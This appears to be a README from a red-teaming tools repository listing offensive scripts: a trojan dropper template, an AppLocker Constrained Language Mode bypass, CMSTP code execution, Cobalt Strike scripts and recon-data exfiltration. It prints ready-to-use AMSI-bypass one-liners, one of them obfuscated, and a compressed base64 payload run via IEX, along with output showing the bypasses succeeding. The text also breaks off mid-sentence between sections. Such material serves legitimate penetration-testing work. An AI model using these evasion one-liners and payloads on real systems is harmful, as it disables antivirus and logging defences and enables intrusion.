## Red Teaming and Social-Engineering related scripts, tools and CheatSheets - **`backdoor-drop.js`** - Internet Explorer - JavaScript trojan/backdoor dropper template, to be used during Penetration Testing assessments. ([gist](https://gist.github.com/mgeeky/b0aed7c1e510560db50f96604b150dac)) - **`Bypass-ConstrainedLanguageMode`** - Tries to bypass AppLocker Constrained Language Mode via custom COM object (as documented by @xpn in: https://www.mdsec.co.uk/2018/09/applocker-clm-bypass-via-com/ ) The way it does so is by registering a custom COM object (`InProcServer32` DLL) that will act as a native *.NET CLR4* host. This host is then going to load up a managed assembly within it's current AppDomain. That assembly finally will switch `SessionData.LanguageMode` variable determining whether Constrained Language Mode shall be used within current Runspace. More details in the tool directory itself. ``` PS > $ExecutionContext.SessionState.LanguageMode ConstrainedLanguage PS > .\Bypass-CLM.ps1 AppLocker Constrined Language Mode Bypass via COM (implementation of: @xpn's technique, as documented in:) (https://www.mdsec.co.uk/2018/09/applocker-clm-bypass-via-com/) Re-implemented, enhanced by: Mariusz B., mgeeky ----- [.] Step 0.

The ClickOnce concept is to generate a windows self-updating Application that is specially privileged ([ClickOnce](https://www.slideshare.net/NetSPI/all-you-need-is-one-a-click-once-love-story-secure360-2015)) - **`cmstp-template.inf`** - INF file being a smallest possible template for **CMSTP** code execution technique, as described by [LOLBAS project](https://lolbas-project.github.io/lolbas/Binaries/Cmstp/). Sample usage: ``` cmstp.exe /ni /s cmstp.inf ``` - **`cobalt-arsenal`** - A set of my published Cobalt Strike 4.0+ compatible aggressor scripts. That includes couple of my handy utils I've used on various engagements. - **`CobaltSplunk`** - Originally devised by [Vincent Yiu](https://github.com/vysecurity/CobaltSplunk), heavily reworked by me: a Splunk application that ingests, indexes and exposes several search operators to work with Cobalt Strike logs from within of a Splunk interface. Supports Cobalt Strike 4.3+ log files syntax. Gives a lot of flexibility to work with Teamserver log files, search through them, generate insightful reports/dashboards/pivot tables and much more. - [**`code-exec-templates`**](https://github.com/mgeeky/Penetration-Testing-Tools/tree/master/red-teaming/code-exec-templates) - a small collection of template/backbone files for various code-execution techniques (VBScript/JScript embedded in HTA/SCT/XSL/VBS/JS) - **`compressedPowershell.py`** - Creates a Powershell snippet containing GZIP-Compressed payload that will get decompressed and executed (IEX) . ([gist](https://gist.github.com/mgeeky/e30ceecc2082a11b99c7b24b42bd77fc)) Example: ``` $s = New-Object IO.MemoryStream(, [Convert]::FromBase64String('H4sIAMkfcloC/3u/e390cGVxSWquXlBqWk5qcklmfp6eY3Fxam5STmWslZVPfmJKeGZJRkBiUUlmYo5fYm6qhhJUR3hmXkp+ebGeW35RbrGSpkKNgn9pia5faU6ONS9XNDZFer6pxcWJ6alO+RVAs4Mz8ss11D1LFMrzi7KLFdU1rQFOfXYfjwAAAA==')); IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd(); ``` - **`Count-PrivilegedGroupMembers.ps1`** - Counts number of members in predefined (or augumented from an input file) list of privileged, sensitive groups in Active Directory. Purely for statistics and overview purposes. - **`Create-Lnk.ps1`** - Uttertly simple script to create LNK files. Handy when one needs to create some dodgy shortcuts acting as yet another stage in code execution step. - **`delete-warning-div-macro.vbs`** - VBA Macro function to be used as a Social Engineering trick removing "Enable Content" warning message as the topmost floating text box with given name. ([gist](https://gist.github.com/mgeeky/9cb6acdec31c8a70cc037c84c77a359c)) - **`Disable-Amsi.ps1`** - Tries to evade AMSI by leveraging couple of publicly documented techniqus, but in an approach to avoid signatured or otherwise considered harmful keywords. Using a hash-lookup approach when determining prohibited symbol names, we are able to avoid relying on blacklisted values and having them hardcoded within the script. This implementation iterates over all of the assemblies, their exposed types, methods and fields in order to find those that are required but by their computed hash-value rather than direct name. Since hash-value computation algorithm was open-sources and is simple to manipulate, the attacker becomes able to customize hash-lookup scheme the way he likes. ``` PS > "amsiInitFailed" At line:1 char:1 + "amsiInitFailed" + ~~~~~~~~~~~~~~~~ This script contains malicious content and has been blocked by your antivirus software. + CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException + FullyQualifiedErrorId : ScriptContainedMaliciousContent PS > . .\Disable-Amsi.ps1 PS > Disable-Amsi [+] Disabled Script Block logging. [+] Success via technique 1. PS > "amsiInitFailed" amsiInitFailed ``` - OH, by the way - you can grab **my custom AMSI evasion oneliners** below - perfect for a one-shot use cases: * **Technique 1A**: Overwrite `AmsiUtils.amsiContext`'s object (`_HAMSICONTEXT.Signature`) byte. Length: 146 bytes. ``` [Runtime.InteropServices.Marshal]::WriteByte((([Ref].Assembly.GetTypes()|?{$_-clike'*Am*ls'}).GetFields(40)|?{$_-clike'*xt'}).GetValue($null),0x5) ``` * **Technique 1B**: Same as 1A, but obfuscated variant. (256 bytes) ``` $h=[TyPE]('{5}{2}{4}{0}{3}{1}'-f'er','L','Un','viCes.maRShA','TIME.INTErOPS','r');Sv('W'+'e') ([tYpe]('{1}{0}'-f'EF','r'));(gET-vAriABLE h).vAlue::WriteByte((($wE.Assembly.GetTypes()|?{$_-clike'*Am*ls'}).GetFields(40)|?{$_-clike'*xt'}).GetValue($null),0x5) ``` - **`Disable-ScriptLogging.ps1`** - Tries to evade Script Block logging by leveraging couple of publicly documented techniqus, but in an approach to avoid signatured or otherwise considered harmful keywords. *Warning:* This scriptlet should be launched first, before `Disable-Amsi.ps1` for better OpSec experience. - **`Download-Cradles-Oneliners.md`** - Various Powershell Download Cradles purposed as one-liners ([gist](https://gist.github.com/mgeeky/3b11169ab77a7de354f4111aa2f0df38)) - **`Export-ReconData.ps1`** - Powershell script leveraging [PowerSploit Recon](https://github.com/PowerShellMafia/PowerSploit) module (PowerView) to save output from Reconnaissance cmdlets like `Get-*`, `Find-*` into _Clixml_ files. Those files (stored in an output directory as separate XML files) can later be extracted from attacked environment and loaded to a new powershell runspace using the same script. Very useful when we want to obtain as many data as possible, then exfiltrate that data, review it in our safe place and then get back to attacked domain for lateral spread. **Warning**: Be careful though, as this script launches many reconnaissance commands one by one, this WILL generate a lot of noise. Microsoft ATA for instance for sure pick you up with _"Reconnaissance using SMB session enumeration"_ after you've launched `Invoke-UserHunter`. **WARNING:** This script is compatible with newer version of PowerView (coming from dev branch as of 2018), that exposed various `Get-Domain*`, `Find-*` cmdlets. In order to save recon's data from the older PowerView, refer to my `Save-ReconData.ps1` script in this directory. Exposed functions: - `Export-ReconData` - Launches many cmdlets and exports their Clixml outputs. - `Import-ReconData -DirName
